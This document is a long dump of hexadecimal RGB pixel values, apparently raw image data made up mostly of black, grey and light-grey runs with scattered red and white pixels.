+D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6D6 +D6D6D6D6D6D6B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0 +B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000EDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000430C0CEF2929 +CE2323000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000B0202 +7815157815150601010000000000000000000000000000000000003709096D1313701313330909 +000000000000000000AC1E1EEF2929651111000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000520E0EEF2929EF2929EF2929EC2929000000 +000000000000000000000000000000000000430C0CEF2929CE2323000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000414141EAEAEA000000494949E2E2E2000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000B8B8B8A0A0A0 +000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFF +F9F9F9DCDCDC8D8D8D121212000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000444444 +FFFFFF2020200000000000000000000000000000000000000000000000006C6C6C404040000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000B5B5B5AEAEAE000000000000000000000000000000000000000000000000000000000000 +0000000000000000006C6C6C4040400000000000000000000000000000000000000000006C6C6C +404040000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000444444FFFFFF +202020000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000B5B5B5AEAEAE000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDED000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000160404EF2929EF29290B0202000000000000 +0000000000000B0202AB1D1DEF2929EF2929EF2929EF2929721414000000000000AC1E1EEF2929 +651111000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000003F0B0BB82020C12121EF2929EC2929000000000000000000000000000000000000 +0000002E0808A51C1C8E1818000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000727272B9B9B90000007A7A7AB1B1B1000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000B8B8B8A0A0A0000000000000000000000000000000 